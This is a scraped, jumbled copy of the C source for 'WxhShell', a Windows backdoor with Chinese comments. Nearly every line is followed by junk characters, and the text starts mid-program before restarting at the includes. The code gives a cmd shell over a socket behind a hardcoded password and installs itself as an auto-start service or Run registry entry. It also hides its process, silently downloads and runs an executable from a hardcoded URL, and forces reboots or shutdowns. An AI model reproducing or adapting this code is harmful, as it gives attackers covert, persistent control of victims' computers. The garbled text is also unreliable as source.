    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :/:.Kb  
    if(Boot(SHUTDOWN)) 8aO~/i:(.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_x:T<]  
    else { @7n/Q(  
    closesocket(wsh); @kk4]:,w  
    ExitThread(0); ojQI7 Uhw  
    } H,+I2tEs  
    break;  Mu2  
    } Sl-v W  
  // 获取shell 4Fp0ZVT  
  case 's': { &C_' p{G  
    CmdShell(wsh); ~vXaqCX  
    closesocket(wsh); 4D[ '^q  
    ExitThread(0); =Vy`J)z9  
    break; &8%e\W\K:/  
  } Y]{ >^`G  
  // 退出 Swp;HW7x  
  case 'x': { |AcRIq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fQL"O}Z  
    CloseIt(wsh); g0>,%b  
    break; e?_@aa9~@{  
    } 70f Klp  
  // 离开 Vm(1G8 a  
  case 'q': { N-I5X2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :!5IW?2  
    closesocket(wsh); 5QPM t^  
    WSACleanup(); Lg~B'd8m  
    exit(1); *.\  
    break; ?shIj;c[  
        } |;.o8}  
  } !PrwH;  
  } _@ *+~9%8p  
wNQ*t-K  
  // 提示信息 p3]_}Y D[#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #+$G=pS'v  
} ?*?RP)V  
  } 8>X d2X  
9Xl`pEhC  
  return; WcHgBbNe  
} Lb;zBmwB  
/%0<p,T  
// shell模块句柄 w QNxL5B  
int CmdShell(SOCKET sock) Bn61AFy`  
{ ,hq)1u  
STARTUPINFO si; AZa 6 C w  
ZeroMemory(&si,sizeof(si)); F%i^XA]a*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |tv"B@`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A|L8P  
PROCESS_INFORMATION ProcessInfo; slg ]#Dy  
char cmdline[]="cmd"; HPb]Zj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,$'])A?$  
  return 0; Ps%qfL\  
} Ga#:P F0  
 EI_  
// 自身启动模式 @y82L8G/  
int StartFromService(void) wY~&Q}U  
{ *uo'VJI7_,  
typedef struct vC1v"L;[o/  
{ qduWzxB  
  DWORD ExitStatus; nBHnkbKoy  
  DWORD PebBaseAddress; UW9?p}F  
  DWORD AffinityMask; z)z{3rR|PW  
  DWORD BasePriority; ccLq+a|  
  ULONG UniqueProcessId; 9G{;?c  
  ULONG InheritedFromUniqueProcessId; *xON W  
}   PROCESS_BASIC_INFORMATION; %F:)5gT?  
EhO|~A*R  
PROCNTQSIP NtQueryInformationProcess; E<C&Cjz:H  
U Z|HJ8_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]8T |f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hQ(qbt{e  
'ihhoW8  
  HANDLE             hProcess; Qu} W/j|3  
  PROCESS_BASIC_INFORMATION pbi; 1Wm)rXW[x  
*+uHQgn(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3&6#F"7  
  if(NULL == hInst ) return 0; M/):e$S  
?0YCpn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); INkD=tX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Y:8eD"*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zN{K5<7o  
\0mb 3Q'  
  if (!NtQueryInformationProcess) return 0; ~(pmLZ<GW}  
lY{FSGp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (y?I Tz9  
  if(!hProcess) return 0; =QK$0r]c'k  
wMdal:n^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GrTulN?  
`)T~psT  
  CloseHandle(hProcess); es>W$QKlo  
d3W0-INL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K]j0_~3s  
if(hProcess==NULL) return 0; ,RgB$TcE  
:^Fh!br==  
HMODULE hMod; oyNSh8c7c  
char procName[255]; C_4)=#@GU  
unsigned long cbNeeded; ++aL4:  
)u/H>;L P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +,yK;^b  
zoDH` h_  
  CloseHandle(hProcess); yuDZ~0]R  
TYlbU<  
if(strstr(procName,"services")) return 1; // 以服务启动 {X*^s5{;H  
 ;b`[&g  
  return 0; // 注册表启动 59zENUYl  
} zH>hx5,k'X  
@#P,d5^G  
// 主模块 vjQb%/LWl  
int StartWxhshell(LPSTR lpCmdLine) ?Q-h n:F)  
{ mk3_  
  SOCKET wsl; /;tPNp{!dw  
BOOL val=TRUE; wWSdTLX  
  int port=0; ZxlAk+<]  
  struct sockaddr_in door; `E!N9qI?t$  
"Vr[4&`  
  if(wscfg.ws_autoins) Install(); ]D@0|  
l#lF +Q;  
port=atoi(lpCmdLine); &q`q4g&7  
,(.MmP`  
if(port<=0) port=wscfg.ws_port; F[4;Xq  
MB%Q WU  
  WSADATA data; \~ BDm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f8SL3+v  
xGU(n _Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S a4W`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kN%MP 6?J  
  door.sin_family = AF_INET; ,o^y`l   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {t Thy#  
  door.sin_port = htons(port); 70lfb`  
U,+[5sbo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v^ /Q 8Q  
closesocket(wsl);  .AYj'Y  
return 1; RN)dS>$  
} 3SSm5{197  
.e'eE  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Z`R#d #I  
closesocket(wsl); Cn>ADWpT&  
return 1; k ^ YO%_  
} <5G{"U+ \  
  Wxhshell(wsl); .`7cBsXH  
  WSACleanup(); d/}SAvtt  
etd&..]J  
return 0; *26334B.R  
{CR5K9  
} "+zCS|   
sP-^~ pp  
// 以NT服务方式启动 @]q BF]6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8scc%t7  
{ _:+ KMR  
DWORD   status = 0; O:{U^K:*  
  DWORD   specificError = 0xfffffff; DAwqo.m  
gPu2G/Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?x^z]N|P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }gkM^*$:%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6G}+gqbX  
  serviceStatus.dwWin32ExitCode     = 0; DfV~!bY  
  serviceStatus.dwServiceSpecificExitCode = 0; tX!n sm1  
  serviceStatus.dwCheckPoint       = 0; *xE,sj+(  
  serviceStatus.dwWaitHint       = 0; >|6iR%"f#  
.))v0   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +525{Tj  
  if (hServiceStatusHandle==0) return; @Kf_z5tm:  
hLDA]s  
status = GetLastError(); XyMG.r-,  
  if (status!=NO_ERROR) RUr=fEH  
{ []0mX70N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /)xlJUq  
    serviceStatus.dwCheckPoint       = 0; QZX~T|Ckv  
    serviceStatus.dwWaitHint       = 0; BS&;n  
    serviceStatus.dwWin32ExitCode     = status; SxK:]Aw  
    serviceStatus.dwServiceSpecificExitCode = specificError; \uME+NF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +[J/Zw0{  
    return; EZ.!rh~+  
  } &20P,8@  
: L_BG)dM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pxSX#S6I  
  serviceStatus.dwCheckPoint       = 0; _/S?#   
  serviceStatus.dwWaitHint       = 0; K^rIG6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -dv %H{  
} AH4EtZC=W  
.bVmqR`  
// 处理NT服务事件,比如:启动、停止 IScRsxFb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JlKM+UE :  
{ +,v-=~5  
switch(fdwControl) ubu?S%`  
{ &TG5rUUg  
case SERVICE_CONTROL_STOP: 5j0{p$'9  
  serviceStatus.dwWin32ExitCode = 0; W23]Bx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BZb]SoAL  
  serviceStatus.dwCheckPoint   = 0; n,~;x@=5  
  serviceStatus.dwWaitHint     = 0; f'q 28lVf  
  { [+w3J#K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ BT)l]  
  } +,50q N:%[  
  return; {B*W\[ns  
case SERVICE_CONTROL_PAUSE: `.#@@5e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hI pKJ&hm  
  break; F?m?UQS'u  
case SERVICE_CONTROL_CONTINUE: aS|wpm)K>8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; * MM[u75  
  break; D;Gq)]O  
case SERVICE_CONTROL_INTERROGATE: OzT#1T1'c  
  break; hF3&i=;.  
}; j5 Un1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >)_ojDO  
} 5]1leT  
?3Ij*}_O2  
// 标准应用程序主函数 F8e<}v&7R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #a| L3zR5v  
{ 8hA^`Y  
uhV0J97  
// 获取操作系统版本 XYx 6V  
OsIsNt=GetOsVer(); gPzL*6OS A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h{ lDxOH*  
44\>gI<  
  // 从命令行安装 TP1S[`nR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8u2+tB  
 n i  
  // 下载执行文件 }.)s%4p8  
if(wscfg.ws_downexe) { cgC\mM4Nla  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z"DkFvA  
  WinExec(wscfg.ws_filenam,SW_HIDE); A>NsKWf{  
} yB LUNIr  
Rq~t4sA:  
if(!OsIsNt) { xx*2?i  
// 如果时win9x,隐藏进程并且设置为注册表启动 4z:#I;  
HideProc(); `ya;:$(6  
StartWxhshell(lpCmdLine); E)ugLluL  
} ]WJfgN4  
else E?PGu!&u  
  if(StartFromService())  .Qt4&B  
  // 以服务方式启动 ql5x2n  
  StartServiceCtrlDispatcher(DispatchTable); OMihXt[  
else U},=LsDsW4  
  // 普通方式启动 I~'*$l  
  StartWxhshell(lpCmdLine); ZX b}91rzt  
8_uzpeRhJc  
return 0; [O-sVYB  
} SW(q$i  
DhI>p0* T  
WW@"Z}?k  
&jV_"_3n  
=========================================== r)1Z(tl  
1xnLB>jP#  
G>T')A  
tJ& 5tNl  
A%Z)wz{  
(}!C4S3#  
" rFJ[dz  
%-;b u|  
#include <stdio.h> ID};<[  
#include <string.h> S"snB/  
#include <windows.h> TTI81:fku  
#include <winsock2.h> =OTm2:j#yQ  
#include <winsvc.h> i}TwOy<4s  
#include <urlmon.h> xPmN},i'R$  
BOf1J1  
#pragma comment (lib, "Ws2_32.lib") lm'Zy"~::  
#pragma comment (lib, "urlmon.lib") z&nZ<ih  
7N2\8kP  
#define MAX_USER   100 // 最大客户端连接数 RE46k`44  
#define BUF_SOCK   200 // sock buffer 6R}j-1 <n  
#define KEY_BUFF   255 // 输入 buffer Z& !!]"I  
j?(!^ _!m  
#define REBOOT     0   // 重启 sCH)gr@gJ^  
#define SHUTDOWN   1   // 关机 v.Ogf 5  
H D/5!d  
#define DEF_PORT   5000 // 监听端口 FQeYx-7  
Sn3:x5H,l  
#define REG_LEN     16   // 注册表键长度 ^9"KTZc-*  
#define SVC_LEN     80   // NT服务名长度 E\)eu1Hw4B  
7CvD'QW /  
// 从dll定义API UWG+#,1J.\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H*e'Cs/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;~zNqdlH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sDiHXDI_m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s<T?pH  
 ((DzUyK  
// wxhshell配置信息 NVIWWX9?  
struct WSCFG { c^I0y!  
  int ws_port;         // 监听端口 e`U Qz$4!  
  char ws_passstr[REG_LEN]; // 口令 9\O(n>  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,8K'F  
  char ws_regname[REG_LEN]; // 注册表键名 c5i%(!>  
  char ws_svcname[REG_LEN]; // 服务名 ,axDMMDI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PE@+w#i7*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7h<> k*E)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "/%89 HMD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *07sK1wW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &d$~6'x*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  u>cC O'q  
XYbyOM VI  
}; ?{J!#`tfV  
:.IN?X  
// default Wxhshell configuration ):6 -  
struct WSCFG wscfg={DEF_PORT, {E,SHh   
    "xuhuanlingzhe", )3E,D~1e%  
    1, mVH,HqsXa  
    "Wxhshell", P{oAObP%  
    "Wxhshell", -wr(vE,  
            "WxhShell Service", :\}U9QfCw  
    "Wrsky Windows CmdShell Service", ]EL\)xCr  
    "Please Input Your Password: ", `<vxG4=62\  
  1, 9R]](g#  
  "http://www.wrsky.com/wxhshell.exe", H7IW"UkBR  
  "Wxhshell.exe" ,ECAan/@  
    }; h W.2p+  
LM,fwAX  
// 消息定义模块 Lar r}o=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w7Dt1axB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W,NL*($^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q-('5a19J  
char *msg_ws_ext="\n\rExit."; PW[6/7  
char *msg_ws_end="\n\rQuit."; 3VP$x@AV  
char *msg_ws_boot="\n\rReboot..."; T_ ^C#>  
char *msg_ws_poff="\n\rShutdown..."; E$S`6+x`:a  
char *msg_ws_down="\n\rSave to "; j@P5(3r  
' iQ9hQjD  
char *msg_ws_err="\n\rErr!"; 6Y?`=kAp  
char *msg_ws_ok="\n\rOK!"; Ml`vx  
%8D?$v"#Z  
char ExeFile[MAX_PATH]; T\3[F%?  
int nUser = 0; sc xLB;  
HANDLE handles[MAX_USER]; ?y_awoBd1  
int OsIsNt; ba&o;BLUy  
BlaJl[Piv  
SERVICE_STATUS       serviceStatus; B7 c[ 4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Ty,_3+{#p  
Vipp /WV  
// 函数声明 ,ep9V ,+|  
int Install(void); ;X7i/D Q  
int Uninstall(void); j.& ;c'V$.  
int DownloadFile(char *sURL, SOCKET wsh); >h7$v~nra  
int Boot(int flag); SfDQ;1?  
void HideProc(void); VK4/82@5  
int GetOsVer(void); B)a@fmp"a  
int Wxhshell(SOCKET wsl); NV~vuC  
void TalkWithClient(void *cs); nEVbfNo0  
int CmdShell(SOCKET sock); JD&U}dJ  
int StartFromService(void); #: hVF/  
int StartWxhshell(LPSTR lpCmdLine); )0|):g   
/co%:}ln  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j`9Nwa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BTs0o&}e  
"_)|8|gN  
// 数据结构和表定义 `vEqj v  
SERVICE_TABLE_ENTRY DispatchTable[] = b`]M|C [5  
{ *<dHqK`?C  
{wscfg.ws_svcname, NTServiceMain}, u+DX$#-n!]  
{NULL, NULL} ysth{[<5F3  
}; 5&(3A|P2  
\3j)>u,r  
// 自我安装 3U o]> BG  
int Install(void) ZY Kd  
{ (6-y+ LG  
  char svExeFile[MAX_PATH]; Lh!z>IWjOG  
  HKEY key; ,aO@.<"  
  strcpy(svExeFile,ExeFile); y< ud('D  
msG3 ~@q  
// 如果是win9x系统,修改注册表设为自启动 9l l|JeNi  
if(!OsIsNt) { J0qXtr%h\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V/&o]b   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /s8/q2:  
  RegCloseKey(key); MCd F!{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2fP~;\AP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9fCO7AE0#  
  RegCloseKey(key); <?4cWp|i  
  return 0; -pX|U~a[  
    } jJ-d/"(  
  } a 8-;   
} $kv[iI @  
else { 9<Ag1l  
{g@A>  
// 如果是NT以上系统,安装为系统服务 C2 .W[T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jMqx   
if (schSCManager!=0) kYtHX~@  
{ ,4yG(O$)  
  SC_HANDLE schService = CreateService w>vmF cp  
  ( Zly-\ z_  
  schSCManager, 3FY_A(+  
  wscfg.ws_svcname,  Q>[Ce3  
  wscfg.ws_svcdisp, O(Td:Zdp  
  SERVICE_ALL_ACCESS, '2xcce#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wzbz }P>  
  SERVICE_AUTO_START, i :EO(`  
  SERVICE_ERROR_NORMAL, c _p[yS  
  svExeFile, o oDdV >  
  NULL, A`Q >h{  
  NULL, IadK@?X6j  
  NULL, ;YM]K R;  
  NULL, ex=)H%_|  
  NULL QA!#s\  
  ); ~}9Bn)@  
  if (schService!=0) )1K! [ W}t  
  { mCK],TOA:  
  CloseServiceHandle(schService); Mb~~A5  
  CloseServiceHandle(schSCManager); b_ZNI0Hp@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Seg#s.  
  strcat(svExeFile,wscfg.ws_svcname); t#{x?cF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *{Yi}d@h(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R @OSqEnr  
  RegCloseKey(key); ]*a@*0=  
  return 0; _ flg Q  
    } i<Q& D\Pv  
  } OMi02tSm  
  CloseServiceHandle(schSCManager); p&QmIX]BZ  
} W0U`Kt&~a  
} /t$*W\PL@  
niQ+EAD  
return 1; hi0XVC95  
} B#Qpd7E+*  
r:.6"VQu}  
// 自我卸载 |;~nI'0O])  
int Uninstall(void) p!QR3k.9s  
{  I}rGx  
  HKEY key; NQg'|Pt(%  
b24di  
if(!OsIsNt) { wFp~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` %l&zwj>  
  RegDeleteValue(key,wscfg.ws_regname); f@h2;An$w  
  RegCloseKey(key); [' ?^>jfr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 48:liR  
  RegDeleteValue(key,wscfg.ws_regname); \+G.]|"Y  
  RegCloseKey(key); K_Z+]]$#  
  return 0; Z~:/#?/  
  } p8$\uo9YQ  
} :|zp8|  
} |$Qp0vOA}  
else { ,RR;VKj  
Oe/73| >U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [6G=yp  
if (schSCManager!=0) {uEu >D$8  
{ Z 4\tY^NI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +{ S Maq  
  if (schService!=0) %l%=Dkss  
  { 6W]OpM  
  if(DeleteService(schService)!=0) { QN3 qF|))  
  CloseServiceHandle(schService);  !,Qm  
  CloseServiceHandle(schSCManager); f_~}X#._  
  return 0; =obt"K%n  
  } J1nXAh)J  
  CloseServiceHandle(schService); 'w'Dwqhmr  
  } U 7EHBW  
  CloseServiceHandle(schSCManager); Bl=nj.g  
} f 5mY;z"  
} -e &$,R>;  
<=$rU232}  
return 1; SgyqmYTvZw  
} 23)F-.C}j  
D7EXqo  
// 从指定url下载文件 ~Ry $>n*/  
int DownloadFile(char *sURL, SOCKET wsh) o*?[_{x W  
{ }Q,(u   
  HRESULT hr; P_kaIPP  
char seps[]= "/"; -hQ96S8  
char *token; &qNP?>C!=  
char *file; IES41y<  
char myURL[MAX_PATH]; 8y-e+  
char myFILE[MAX_PATH]; jkZ_c!  
>F,$;y52  
strcpy(myURL,sURL); OY+!aG@.  
  token=strtok(myURL,seps); LQ~LB'L  
  while(token!=NULL) Z`^ K%P=  
  { & 8ccrw  
    file=token; }m9S(Wal  
  token=strtok(NULL,seps); f:n]Exsy  
  } qK<aZ%V  
FrgW7`s[A  
GetCurrentDirectory(MAX_PATH,myFILE); YN_X0+b3C  
strcat(myFILE, "\\"); x&QNP  
strcat(myFILE, file); :yd=No@  
  send(wsh,myFILE,strlen(myFILE),0); 5wT' ,U"+  
send(wsh,"...",3,0); *U( 1iv0n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j7QBU  
  if(hr==S_OK) qJ#L)  
return 0; 0Ei\VVK>  
else LBW.*PHW  
return 1; z~GVvgd  
e_YW~z=6t  
} ^nG1/}  
J& 1X  
// 系统电源模块 \/? ! 6~  
int Boot(int flag) sZ0g99eX  
{ _JfJ%YXy  
  HANDLE hToken; l*~"5f03  
  TOKEN_PRIVILEGES tkp; ~+sne7 6 U  
j:3A;r\  
  if(OsIsNt) { ]$*$0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HY*l4QK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *=($r%)  
    tkp.PrivilegeCount = 1; ~5-~q0Ge  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SS >:Sw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h<PYE]?l  
if(flag==REBOOT) { *O2^{ C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Se!gs>  
  return 0; (1QdZD|  
} c.|sW2/  
else { 8Uj68Jl?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dM);LT8@  
  return 0; 0S)"Q^6n y  
} >qSO,$  
  } z'5;f;  
  else { ^4n2 -DvG  
if(flag==REBOOT) { Ws2prh^e(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  9OrA9r  
  return 0; FE$M[^1_  
} 9$B)hrJo  
else { WyKUvVi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H}u)%qY+~  
  return 0; F?yh23&_4  
} |HKHN? )  
} 8cYuzt]..  
@c.11nfn`  
return 1; nOA ,x  
} ~$ cm9>  
5#9`ROT9  
// win9x进程隐藏模块 A"P\4  
void HideProc(void) X=S}WKu  
{ )?= kb  
{Sd@u$&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mSVX4XW<  
  if ( hKernel != NULL ) `<]P"G  
  { DzX6U[=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2dp*>F0L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 20SF<V  
    FreeLibrary(hKernel); D@/9+]-,  
  } E 6>1Fm8%V  
LH?gJ8`  
return; oT9XJwqnv  
} C9"f6>i  
+oxqS&$L  
// 获取操作系统版本 FvtM~[Q  
int GetOsVer(void) jk WBw.(  
{ K-g=td/@  
  OSVERSIONINFO winfo; &;uGIk>s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); baO&n  
  GetVersionEx(&winfo); ;iwD/=Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LN,$P  
  return 1; Zp% ""  
  else 4nVO.Ud0$X  
  return 0; V!yp@%D  
} Q!BkS=H30K  
Q@3ld6y  
// 客户端句柄模块 (AyRs7Dkn  
int Wxhshell(SOCKET wsl) hs -}:^S`  
{ X:zyzEhS  
  SOCKET wsh; /_ hfjCE  
  struct sockaddr_in client; g:@Cg.q8  
  DWORD myID; A_X^k|)T  
IArpCF/"8  
  while(nUser<MAX_USER) (>)+;$Dr,\  
{ %>x0*T$$  
  int nSize=sizeof(client); .q|xMS}4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !T&u2=`D  
  if(wsh==INVALID_SOCKET) return 1; b{yH4)O  
V.E.~<7D\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q xj|lr  
if(handles[nUser]==0) 6i?kkULBS  
  closesocket(wsh); 52q!zx E  
else B4M'Er{v  
  nUser++; <try%p|f  
  } :">~(Rd ZH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *I;Mp  
\sXm Mc  
  return 0; u+, jAkr  
} fR{WS:Pv  
":ws~Zep  
// 关闭 socket =^".{h'-  
void CloseIt(SOCKET wsh) ^HU=E@  
{ m-pIFL<^N  
closesocket(wsh);  # 8-P  
nUser--; 6=[ PJM  
ExitThread(0);  (t]R#2{  
} ' m# Ymp  
'DB({s  
// 客户端请求句柄  ZeDDH  
void TalkWithClient(void *cs) H]]>sE  
{ 2Xk1A S  
z<C~DH  
  SOCKET wsh=(SOCKET)cs; Vv* 5{_  
  char pwd[SVC_LEN]; rnt$BB[g  
  char cmd[KEY_BUFF]; =,} !Ns{k  
char chr[1]; 2[bR6 T89  
int i,j; hF{mm(qyv  
L 52z  
  while (nUser < MAX_USER) { EzY scX.[  
fh5^Gd~  
if(wscfg.ws_passstr) { s*A|9u f5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jak|LOp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h^3Vd K,  
  //ZeroMemory(pwd,KEY_BUFF); 'rcsK  
      i=0; | Y,X=Ed  
  while(i<SVC_LEN) { XQ?)  
W1M/Z[h6)5  
  // 设置超时 4QN6BZJ5  
  fd_set FdRead; v |hKf6  
  struct timeval TimeOut; Bg 8t'dw?K  
  FD_ZERO(&FdRead); s t3]Yy  
  FD_SET(wsh,&FdRead); M3xi 0/.  
  TimeOut.tv_sec=8; )-6[ Bw  
  TimeOut.tv_usec=0; wE=8jl*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NIcNL(]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3ks|  
u>-uRz<)t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rBL_]\$7}  
  pwd=chr[0]; D/!G]hx  
  if(chr[0]==0xd || chr[0]==0xa) { :O2v0Kx  
  pwd=0; )-7(Hv1  
  break; ?(XX  
  } UW~tS  
  i++; (j\UoKLRt  
    } TTjjyZ@  
)}k`X<~k  
  // 如果是非法用户,关闭 socket >?Y3WPB<F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r;s3(@[,@  
} ~o\]K  
WW Kr & )  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "Mu $3 w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I5AjEp  
jq]\oY8y  
while(1) { ]{l O  
4?6'~G$k  
  ZeroMemory(cmd,KEY_BUFF); \}_7^)S;  
L``mF(R^  
      // 自动支持客户端 telnet标准   =dJEcC_J  
  j=0; :y)&kJpleP  
  while(j<KEY_BUFF) { tLGwF3e$A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 5cr!+  
  cmd[j]=chr[0]; vmQ DcCw  
  if(chr[0]==0xa || chr[0]==0xd) { &qj&WfrB,  
  cmd[j]=0; E!]rh,mYK  
  break; :j!_XMyT:  
  } wz2)seZY  
  j++; Lzb [%?  
    } So0,)  
W!Os ci  
  // 下载文件 kO O~%|1CP  
  if(strstr(cmd,"http://")) { O#ajoE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N,'qMoNf  
  if(DownloadFile(cmd,wsh)) ( ]uoN4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{#M  
  else /t2 <OU9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4rCqN.J  
  } OTbjZ(  
  else { dXSb%ho  
 AHg4kG  
